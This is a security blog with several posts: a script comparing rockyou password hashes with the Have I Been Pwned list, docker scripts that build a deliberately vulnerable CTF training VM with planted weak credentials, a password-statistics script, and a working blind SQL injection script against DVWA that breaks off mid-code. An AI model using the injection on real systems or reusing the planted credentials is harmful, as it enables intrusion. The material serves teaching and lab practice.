Tuesday, March 26, 2019

Is rockyou password list in the Have I Been Pwned SHA1 hash list?

A couple of posts ago I wrote a tool in python to evaluate a password list for character sets that it uses and length.  While I was working on it, I wondered if the rockyou password list is in the SHA1 hash collection that you can download from Have I Been Pwned (HIBP).

Below is a bash script that I wrote.  To accomplish this I created a file with all of the SHA1 hashes for the rockyou password list.  Then I split the rockyou hash list into files that contained 3000 hashes in each file.  Then using egrep searched for the hashes in the HIBP list.  The hashes that were found were then saved in a file called zlist.txt.



#!/bin/bash

# Goal was to evaluate the cross-over between the rockyou list and the haveibeenpwned list as of 3/20/2019
# The rockyou list had to be converted from plain-text passwords to an upper-case SHA-1
# To accomplish the above task created a hashRockYou.py file and saved output as rockyouHashes.txt

# split -l 3000 rockyouHashes.txt   - This can add 3000 hashes to a egrep search
#        - Takes about 50 seconds per file...
#        - 

# Takes the list of files that are split out and creates an array of files
listFiles=(`ls -lha | awk '{print $9 " " }' | tr -d '\n' | sed 's/^.*xaa\s/xaa /'`)

# Iterates through the list
for i in ${listFiles[@]}
do
 # Outputs the date to verify the script continues to run
 date
 # Puts the 3000 hashes in a regular expression that can be put in egrep
 regex=`cat $i | sed 's/^/|/' | tr -d '\n' | sed 's/|/\^(?:/1' | sed 's/$/)/'`
 #echo "egrep -e \"$regex\" ../pwned-hashes-only.txt"
 # Run egrep with the generated regex of hashes against the haveibeenpwned list of SHA1
 # Create a file of the matches called zlist.txt
 egrep -e "$regex" ../pwned-hashes-only.txt >> zlist.txt
done


HIBP SHA1 List (22GB) contains 551,509,767
Rockyou SHA1 List (561MB) contains 14,344,391
Rockyou SHA1 found in HIBP list 14,333,886
Number of passwords not found in HIBP is 10,505


Monday, March 18, 2019

Docker Scripts used to create and setup myhouse7 Vulenrable VM

For the myhouse7 Vulnerable VM I created a script to automate the setup of docker, setup of pre-setup docker images, and the setup of the images on Ubuntu.  This was to maintain the size of the VM that had to be downloaded to a minimum size.  Here is the link to the myhouse7 Vulnerable VM post.

I thought I would publish the scripta because they can be reused to build a small network in docker.  The below script references files that would not exist if you ran the script after downloading it.




#!/bin/bash

# Files that need to be copied over...
# buildDockerNet.sh # This bash script
# checkHealth.py # Checks the health of the virtual machines
# dockerImages.tar.gz # Compressed tar's of the images that are used
# vol_db1srv.zip # /var/lib/mysql volume with the databases setup 


# Create a /etc/rc.local
# #!/bin/bash
# /home/bob/setup/buildDockerNet.sh
# exit 0
# Setup the file as executable 
# chmod 744 /etc/rc.local
# systemctl enable rc-local.service
# reboot and it should work...

# Built a python script called checkHealth.py on the host to check the health of the virtual machines.  Use the results to recreate the index.php on the host.  Host needs apache2 installed and running
# The health check page has 2 more flags in the page itself...

# The host has a user account called "admin" with the password of "admin"
# The purpose of this account is to allow the student to check the IP Address of the system

# Assumes that in bob's home directory the setup folder exists and this script is run from inside...
path='/home/bob/setup'


### -------- Create the config directory if it does not exist ------------- ###
if [ ! -d $path/config ]
then
 mkdir $path/config
fi

### ---- Setup docker if it is not installed ---- ####
if [ ! -e $path/config/installDocker.txt ]
then
 echo ""
 echo "Installing Docker CE"
 echo "Expects that bob is the name of the user logged in..."
 # Installs the apt key for Docker
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
 # Setup the repo
 add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
 # Install docker packages
 # Install unzip to extract the volumes
 # Install apache2 to run a local site on port 20000
 apt-get --assume-yes install docker-ce unzip apache2
 # Test if docker is working
 docker run hello-world
 # Setup the bob user to run the docker command without sudo
 usermod -aG docker bob
 touch $path/config/installDocker.txt
 # Enable and Start the docker daemon
 systemctl enable docker
 systemctl start docker
 echo ""
 echo "Docker successfully installed... You should restart the VM..."
else
 echo ""
 echo "Docker is currently installed and working..."
 echo ""
fi




### --- Setup images for use by the computer --- ###
# /config/setupImages.txt
# Untar and gzip them
# docker load ...
# setup the volume for db1srv ... probably after it is created

### ---- Extract and load the Images ---- ###
if [ ! -e $path/config/setupImages.txt ] && [ -e $path/config/installDocker.txt ]
then
 # Extract the .tar.gz
 echo ""
 echo "Extracting the images..."
 tar xvzf $path/dockerImages.tar.gz -C $path
 # Load the Images
 echo ""
 echo "Loading the extracted images..."
 docker load -i $path/d-anchor-cmsv12.tar
 docker load -i $path/d-apache2-backupv4.tar
 docker load -i $path/d-initial.tar
 docker load -i $path/d-nikto-potv2.tar
 docker load -i $path/d-rsyslogv6.tar
 docker load -i $path/d-sambav2.tar
 docker load -i $path/mariadbv9.tar
 rm -f $path/d-anchor-cmsv12.tar
 rm -f $path/d-apache2-backupv4.tar
 rm -f $path/d-initial.tar
 rm -f $path/d-nikto-potv2.tar
 rm -f $path/dockerImages.tar.gz
 rm -f $path/d-rsyslogv6.tar
 rm -f $path/d-sambav2.tar
 rm -f $path/mariadbv9.tar
 touch $path/config/setupImages.txt
elif [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker images are extracted and setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker images..."
 echo ""
fi





### ---- Setup the docker networks --- ###
if [ ! -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Configuring Docker Networks"
 docker network create --driver=bridge net10 --subnet=172.31.10.0/24
 docker network create --driver=bridge net20 --subnet=172.31.20.0/24
 docker network create --driver=bridge net30 --subnet=172.31.30.0/24
 docker network create --driver=bridge net200 --subnet=172.31.200.0/24
 touch $path/config/networks.txt
elif [ -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker networks are already setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker networks..."
 echo ""
fi




### ---- Setup the docker volumes --- ###
if [ ! -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then 
 echo ""
 echo "Configuring Docker Volumes"
 docker volume create rsyslog_var_log # Creates a volume to retain the log information
 docker volume create db1srv_var_lib_mysql # Retains the databases created or updated
 sudo unzip $path/vol_db1srv.zip -d /
 touch $path/config/volumes.txt
elif [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker volumes are already setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker volumes..."
 echo ""
fi


### ----- Setup the local server with the flags and other items ---- ###
if [ ! -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Configuring the Host"
 # Changes the port on the apache2 server to port 20000
 sed -i 's/Listen 80/Listen 20000/' /etc/apache2/ports.conf
 systemctl restart apache2
 # Useraccount admin:admin is created for reference if necessary for pulling the IP Address.
 useradd admin
 sed -i 's/admin:!:.*/admin:$6$IWjBaf8R$oq9Wz2OjIJPwzOzzU7FNp7EtBvPIhwEA5gZMQHt05cgAYFovOzskRouSp.5QWzgnKNlpPWcYkJeW5sb6M4Sx21:17834:0:99999:7:::/' /etc/shadow
 rm -f $path/vol_db1srv.zip
 # Setup crontab with the scheduled health check
 echo "15/* * * * *    root    /home/bob/setup/checkHealth.py &> /dev/null" >> /etc/crontab
 touch $path/config/host.txt
elif [ -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "The host has already been configured..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with the host..."
 echo ""
fi




## Exit the bash script if something is not setup...
if [ ! -e $path/config/networks.txt ] || [ ! -e $path/config/volumes.txt ] || [ ! -e $path/config/installDocker.txt ] || [ ! -e $path/config/setupImages.txt ]
then
 exit 0
fi



#### ---------------- Kill any docker images that may still be running --------------------- ####
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
        docker stop $i &> /dev/null      # Remove the web1srv container so it can be recreated
done




#### ---------------- Remove Stopped Containers - Clean-up ----- ####
docker ps -aq --no-trunc -f status=exited | xargs docker rm &> /dev/null
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
 docker rm /$i &> /dev/null # Remove the web1srv container so it can be recreated
done



echo ""
echo "Launching the containers in the DMZ"
echo ""
#### ----------------  Launch in net10 DMZ ---------------- ####
# 172.31.10.17 is meant to be a web server that through the container can connect to
# the database server at 172.31.20.10 - this container will create probably a 172.31.20.2 interface on the 20 subnet
# apt install php-gd php-mbstring php-mysql - Requirements for the install...
# anchor cms does not like being in a sub-folder under the root web folder
# Blog username: admin Password: anchor
docker create -it --network=net10 --name web1srv -p 8115:80 --ip=172.31.10.17 d-anchor-cmsv12 bash
docker network connect --ip=172.31.20.27 net20 web1srv
docker start web1srv
sleep 10s
docker exec -d web1srv /etc/init.d/apache2 start
docker exec -d web1srv /etc/init.d/rsyslog start
# Setup logging of apache2 access.log to go to the rsyslog server...

# 172.31.10.22 - 3 flags 
# nikto honeypot - fake phpmyadmin server
# Creation of the next 2 flags
# 1. Scanned server with nikto
# 2. cat access.log | grep "GET" | sed -e 's/.*\s"GET\s\///' | sed 's/\s.*//' | grep -v "?" | grep -v -e "/" -e "+" -e "=" -e "%" -e "_" -e "~" -e "-" -e "\\" > /var/www/html/fileList.txt
# 3. cat fileList.txt | sed 's/^/touch /' > script.sh
# 4. Ran the script in /var/www/html
# 5. Then added the below files manually
docker run -tid --network=net10 --name blue -p 8112:80 -p 443:80 -p 25:80 -p 8008:80 -p 10000:80 --ip=172.31.10.22 d-nikto-potv2 bash
sleep 10s
docker exec -d blue /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d blue /etc/init.d/rsyslog start
# Setup logging for the apache2 access.log

# 172.31.10.25 - 3 flags
docker create -it --network=net10 --name red -p 8111:80 --ip=172.31.10.25 d-apache2-backupv4 bash # nmap by default does not detect port 8111
docker network connect --ip=172.31.200.85 net200 red
docker start red
sleep 10s
docker exec -d red /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d red /etc/init.d/rsyslog start
# Setup logging...


echo ""
echo "Launching the DB Servers"
echo ""

#### ----------------- Launch in net20 DB-Servers---------------- ####
# MySQL Server for the Anchor CMS and Timeclock Software 0.99 (exploit-db)
# The timeclock software I rewrote the MySQL usage due to it being out-of-date...  Would not recommend...
# Make sure you backup the volume...... :)
# docker volume create db1srv_var_lib_mysql - retains the databases created or updated
# Setup logging to 172.31.20.194 for syslog
# Setup logging to 172.31.20.194 for mysql - Customized the /etc/rsyslog.conf file to log the specific /var/log/mysql-syslog.log
docker run -d --network=net20 --name db1srv --ip=172.31.20.10 -e MYSQL_ROOT_PASSWORD=anchordb -v db1srv_var_lib_mysql:/var/lib/mysql mariadbv9
docker exec -d db1srv rm /run/rsyslogd.pid
sleep 10s
docker exec -d db1srv /etc/init.d/rsyslog start
# After it loads the 1st time check docker logs db1srv | grep GENERATE for the new root password
# Then docker exec -it db1srv mysql -uroot -p # and login to the database with the new root password
# Then you can ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';



docker run -tid --network=net20 --name utah --ip=172.31.20.44 d-initial bash


echo ""
echo "Launching the Administrators subnet"
echo ""

#### ----------------- Launch in net 30 Administrator Network -------------- ####
# Setup the users heather and larryjr that have access to the fileshares - Passwords also used on the timeclock
docker create -it --network=net30 --name two --ip=172.31.30.24 d-sambav2 bash
docker network connect --ip=172.31.200.204 net200 two
docker start two
docker exec -d two /etc/init.d/smbd start

echo ""
echo "Launching the Monitoring Subnet"
echo ""

#### ----------------- Launch in net 200 Monitoring Workstation Network -------------- ####
# Syslog Server
#docker volume create rsyslog_var_log - Creates a volume to retain the log information
# Not important to retain the rsyslog_var_log volume
# SSH is listening on port 24 on the 172.31.20.194 interface only
# Set root password to be anchor
docker create -it --network=net200 --name africa --ip=172.31.200.194 -v rsyslog_var_log:/var/log d-rsyslogv6 bash
docker network connect --ip=172.31.10.194 net10 africa
docker network connect --ip=172.31.20.194 net20 africa
# db1srv is logging syslog and mysql queries to the server...
docker network connect --ip=172.31.30.194 net30 africa
docker start africa
sleep 10s
docker exec -d africa /etc/init.d/rsyslog start # Starts the rsyslog server listening on UDP and TCP 514
docker exec -d africa /etc/init.d/ssh start     # Starts the ssh server for connections




# 
# Run the checkhealth script at the end of this script...
sleep 60s
$path/checkHealth.py




Below is a script that I built in python to maintain the docker environment and verify everything is running.  Often times, a daemon would not be running.




#!/usr/bin/python3
# Executes as a scheduled cronjob every 15 minutes...

import subprocess

f = open('/var/www/html/index.html', 'w')
f.write('')
f.write('Health Check for Docker Containers

')
f.write('Refreshed every 15 mintes...

')
f.write('Search for flags on the system.  Here is your first of 20: {{tryharder:1}}')
f.write('')
f.write('
') ### Check the apache2 service of web1srv to see if it is running... for apacheServer in ['web1srv', 'blue', 'red']: result = subprocess.run(['docker', 'exec', apacheServer, '/etc/init.d/apache2', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* apache2 is running" == result: f.write(' ') f.write(apacheServer + ' apache2 is Online and Working') f.write(' ') else: f.write(' ') f.write(apacheServer + ' apache2 is Broken and Not Working - Trying to start the apache2 server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', apacheServer, '/etc/init.d/apache2', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* apache2 is running" == result: f.write(' ') f.write(apacheServer + ' apache2 is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(apacheServer + ' apache2 is Broken with something Fatal... Restart VM and try again...') f.write(' ') for syslogServer in ['web1srv', 'blue', 'red', 'db1srv', 'africa']: result = subprocess.run(['docker', 'exec', syslogServer, '/etc/init.d/rsyslog', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* rsyslogd is running" == result: f.write(' ') f.write(syslogServer + ' rsyslog is Online and Working') f.write(' ') else: f.write(' ') f.write(syslogServer + ' rsyslog is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', syslogServer, '/etc/init.d/rsyslog', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* rsyslogd is running" == result: f.write(' ') f.write(syslogServer + ' rsyslog is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(syslogServer + ' rsyslog is Broken with something Fatal... Restart VM and try again...') f.write(' ') for sshServer in ['africa']: result = subprocess.run(['docker', 'exec', sshServer, '/etc/init.d/ssh', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* sshd is running" == result: f.write(' ') f.write(sshServer + ' ssh is Online and Working') f.write(' ') else: f.write(' ') f.write(sshServer + ' ssh is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', sshServer, '/etc/init.d/ssh', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* sshd is running" == result: f.write(' ') f.write(sshServer + ' ssh is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(sshServer + ' ssh is Broken with something Fatal... Restart VM and try again...') f.write(' ') for smbServer in ['two']: result = subprocess.run(['docker', 'exec', smbServer, '/etc/init.d/smbd', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* smbd is running" == result: f.write(' ') f.write(smbServer + ' smb is Online and Working') f.write(' ') else: f.write(' ') f.write(smbServer + ' smb is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', smbServer, '/etc/init.d/smbd', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* smb is running" == result: f.write(' ') f.write(smbServer + ' smb is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(smbServer + ' smb is Broken with something Fatal... Restart VM and try again...') f.write(' ') f.write('') f.close()

Here is a quick script I wrote to save the docker images that I created.




#!/bin/bash

for i in d-anchor-cmsv12 d-nikto-potv2 d-apache2-backupv4 mariadbv9 d-initial d-sambav2 d-rsyslogv6
do
 docker save --output $i.tar $i
done






Sunday, March 17, 2019

Password Requirements Evaluation

I am often asked to evaluate a list of passwords. The evaluation sometimes goes like this, how many passwords only have upper, lower-case, and numeric passwords and not special characters. Below is a script to evaluate a list of passwords for this and length of the passwords. This script does not handle unicode characters being in the passwords.




#!/usr/bin/python3


# Script to Evaluate the Strength of Passwords and Length

import re

f = open("temp.txt", encoding="utf-8", errors="ignore")
countNumeric = 0
countLowerCase = 0
countLowerCaseNumber = 0
countUpperCase = 0
countUpperCaseNumber = 0
countUpperLowerCase = 0
countUpperLowerCaseNumber = 0
countUpperLowerCaseNumberSpecial = 0
countTotal = 0
lengthLess8 = 0
length8to12 = 0
length13to16 = 0
length17to20 = 0
length21to32 = 0
length33up = 0

for line in f:
    line = line.strip()
    strLength = len(line)
    # All lower-case password
    numericExpression = '^[0-9]{' + str(strLength) + '}$'
    if re.match(numericExpression, line): countNumeric += 1
    lowerCaseExpression = '^[a-z]{' + str(strLength) + '}$'
    if re.match(lowerCaseExpression, line): countLowerCase += 1
    lowerCaseNumericExpression = '^[a-z0-9]{' + str(strLength) + '}$'
    if re.match(lowerCaseNumericExpression, line): countLowerCaseNumber += 1
    upperCaseExpression = '^[A-Z]{' + str(strLength) + '}$'
    if re.match(upperCaseExpression, line): countUpperCase += 1
    upperCaseNumberExpression = '^[A-Z0-9]{' + str(strLength) + '}$'
    if re.match(upperCaseNumberExpression, line): countUpperCaseNumber += 1
    upperLowerCaseExpression = '^[A-Za-z]{' + str(strLength) + '}$'
    if re.match(upperLowerCaseExpression, line): countUpperLowerCase += 1
    upperLowerCaseNumericExpression = '^[A-Za-z0-9]{' + str(strLength) + '}$'
    if re.match(upperLowerCaseNumericExpression, line): countUpperLowerCaseNumber += 1
    upperLowerCaseNumericSpecialExpression = '^[A-Za-z0-9,.!@#$%^&?\[\]<>*_\-=+ \'"()`\.,;:/\\x5c~|]{' + str(strLength) + '}$'   # \x5c = \
    if re.match(upperLowerCaseNumericSpecialExpression, line): 
        countUpperLowerCaseNumberSpecial += 1
    #else:
    #    print(line)
    if len(line) < 8: lengthLess8 += 1
    if len(line) >= 8 and len(line) <= 12: length8to12 += 1
    if len(line) >= 13 and len(line) <= 16: length13to16 += 1
    if len(line) >= 17 and len(line) <= 20: length17to20 += 1
    if len(line) >= 21 and len(line) <= 32: length21to32 += 1
    if len(line) >= 33: length33up += 1
    countTotal += 1
    #print(line)

print("Total Passwords in List: " + str(countTotal))
print("All numeric only passwords: " + str(countNumeric))
print("All lower-case only passwords: " + str(countLowerCase))
print("All lower-case and numeric only passwords: " + str(countLowerCaseNumber - countNumeric - countLowerCase))
print("All upper-case only passwords: " + str(countUpperCase))
print("All upper-case and numeric only passwords: " + str(countUpperCaseNumber - countUpperCase - countNumeric))
print("All upper-case and lower-case only passwords: " + str(countUpperLowerCase - countUpperCase - countLowerCase))
print("All upper-case, lower-case and numeric only passwords: " + str(countUpperLowerCaseNumber - (countUpperLowerCase - countUpperCase - countLowerCase) - (countLowerCaseNumber - countLowerCase - countNumeric) - (countUpperCaseNumber - countUpperCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("All upper-case, lower-case, numeric and special chars only passwords: " + str(countUpperLowerCaseNumberSpecial - (countUpperLowerCaseNumber - countUpperCase - countLowerCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("Unaccounted for Passwords with RegEx's: " + str(countTotal - countUpperLowerCaseNumberSpecial))
print()
print("Password Length < 8: " + str(lengthLess8))
print("Password Length 8 to 12: " + str(length8to12))
print("Password Length 13 to 16: " + str(length13to16))
print("Password Length 17 to 20: " + str(length17to20))
print("Password Length 21 to 32: " + str(length21to32))
print("Password Length 33 and up: " + str(length33up))



With the above script I ran it against the rockyou list and received the following statistics (I put in the comma's):

Total Passwords in List: 14,344,391
All numeric only passwords: 2,346,874
All lower-case only passwords: 3,726,802
All lower-case and numeric only passwords: 6,075,066
All upper-case only passwords: 229,917
All upper-case and numeric only passwords: 407,421
All upper-case and lower-case only passwords: 159,318
All upper-case, lower-case and numeric only passwords: 382,270
All upper-case, lower-case, numeric and special chars only passwords: 1,001,182
Unaccounted for Passwords with RegEx's: 15,541

Password Length < 8: 4,737,460
Password Length 8 to 12: 8,593,633
Password Length 13 to 16: 891,426
Password Length 17 to 20: 88,173
Password Length 21 to 32: 31,576
Password Length 33 and up: 2,123


Thursday, January 31, 2019

SQL Injection - Using SQL to be Efficient

In a recent class that I was teaching we were talking about SQL injection.  The example and script that I provided the class was trying every character from a to z and if the response was successful then you moved onto the next character.

For example if I use the below query:

SELECT * FROM users WHERE user = '<input>' and password = '<input>';

In the above query the <input> would not be sanitized and you could manipulate the query.  Using DVWA they use this query in the "Brute Force" section under "Low" security.

Here is an example that I have of how SQL injection can be done in the above query to bypass the login:

SELECT * FROM users WHERE user = 'a' OR user LIKE 'a%' OR user = 'b' and password = 'anything';

We could use the above query and go through each character in the alphabet to find the second letter.  This would result in up to 26 queries to find the next letter.  So with the username of "admin" it would take ~41 queries.

Let's try and be more efficient using SQL.  Let's examine the following query:

SELECT * FROM users WHERE user = 'a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b' and password = 'anything';

The query takes the next letter and checks to see if it is in a range of characters.  Then it decreases the range until it is within 3-4 queries of the actual letter.  With the above query to find the name of admin it takes a total of  27 queries given the first letter is an "a" would be 28 queries total.  Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:

Username: admin QueryCount: 27
Username: gordonb QueryCount: 36
Username: pablo QueryCount: 23
Username: smithy QueryCount: 36

Below is the code that I created to show how using SQL in the query to make it more efficient.




#!/usr/bin/python3


# cat temp | grep "Failed" | grep -v "QueryCount: 1" | grep "FirstLetter: a SecondLetter: m"

import urllib.parse
import urllib.request




def establishHeaders():
    # You will need to update the PHPSESSID wit a valid session number
    h = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.5',
          'Referer': 'http://typhoon.local/dvwa/vulnerabilities/brute/',
          'Cookie': 'security=low; PHPSESSID=mbco2831mgi1p93dnk35gkbd97',
          'Connection': 'keep-alive',
          'Upgrade-Insecure-Requests': '1',
          'Host': 'typhoon.local' }
    return h


def parseHTML(h):
        for line in h:
            if "<pre>" in line:
                line = line.replace("<pre>
","").replace("</pre>","").replace("\t","")
                return "No"
            elif "Welcome to the password protected area" in line:
                return "Yes"
            #else:
            #    print(line)



def main(letterPassed):
    print("Exploiting BVWA - Brute Force - Low Setting")
    print("-------------------------------------------") 
    # SQL Injection goes between url1 and url2  -- url1 + injection + url2
    url1 = "http://typhoon.local/dvwa/vulnerabilities/brute/?username=" 
    url2 = "&password=x&Login=Login"
    headers = establishHeaders()
    case = "Go"
    usernameSegment=letterPassed
    usernameSegmentCount = 1    # Characters in usernameSegment
    firstletter='a'
    secondletter='m'
    queryCount=0
    while case != "Quit":
        # Automating the SQL Injection with the following
        # a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b       
        # Assumes the first letter of the username is "a" for now...
        sqlinject = "a' OR ((SUBSTRING(user, 1, " + str(usernameSegmentCount) + ") = '" + usernameSegment + "') AND ((SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) >= '" + firstletter + "') AND (SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) <= '" + secondletter + "'))) OR user = 'b"
        sql = "SELECT * FROM users WHERE user = '" + sqlinject + "' AND password = ''"
        #print("\n\nSQL: "+ sql)
        sqlinject = sqlinject.replace("%", "%25").replace(" ", "+").replace("'", "%27")
        #postData = urllib.parse.urlencode(data)
        #postData = postData.encode('ascii')
        url = url1 + sqlinject + url2
        #print("\nURL: " + url)
        data = bytes('', 'ascii')
        req = urllib.request.Request(url, data, headers)
        with urllib.request.urlopen(req) as response:
            output = response.read()
        html = output.decode('ascii').split('\n')
        successful = parseHTML(html)
        queryCount += 1
        if successful == "Yes" and firstletter=='a' and secondletter=='m':     # if a-m then a-g
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='g'
        elif successful == "No" and firstletter=='a' and secondletter=='m':     # if not a-m then n-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='z'
        elif successful == "Yes" and firstletter=='n' and secondletter=='z':     # if n-z then n-t
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='t'
        elif successful == "No" and firstletter=='n' and secondletter=='t':     # if n-z and not n-t then u-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='z':     # if n-z and u-z then u-w
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='w'
        elif successful == "No" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and not u-w then x-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='z'
        elif successful == "Yes" and firstletter=='x' and secondletter=='z':     # if n-z and u-z and x-z then x
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='x'
        elif successful == "No" and firstletter=='x' and secondletter=='x':     # if n-z and u-z and x-z and not x then y
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='y'
            secondletter='y'
        elif successful == "No" and firstletter=='y' and secondletter=='y':     # if n-z and u-z and x-z and not y then z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='z'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and u-w then u
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='u'
        elif successful == "No" and firstletter=='u' and secondletter=='u':     # if n-z and u-z and u-w and not u then v
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='v'
            secondletter='v'
        elif successful == "No" and firstletter=='v' and secondletter=='v':     # if n-z and u-z and u-w and not v then w
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='w'
            secondletter='w'
        elif successful == "Yes" and firstletter=='n' and secondletter=='t':     # if n-t then n-q
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='q'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "No" and firstletter=='n' and secondletter=='n':     # if n-q and not n then o
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='o'
            secondletter='o'
        elif successful == "No" and firstletter=='o' and secondletter=='o':     # if n-q and not o then p
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='p'
            secondletter='p'
        elif successful == "No" and firstletter=='p' and secondletter=='p':     # if n-q and not p then q
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='q'
            secondletter='q'
        elif successful == "No" and firstletter=='n' and secondletter=='q':     # if n-t and not n-q then r-t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='t'
        elif successful == "Yes" and firstletter=='r' and secondletter=='t':     # if n-t and r-t then r
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='r'
        elif successful == "No" and firstletter=='r' and secondletter=='r':     # if n-t and r-t and not r then s
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='s'
            secondletter='s'
        elif successful == "No" and firstletter=='s' and secondletter=='s':     # if n-t and r-t and not s then t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='t'
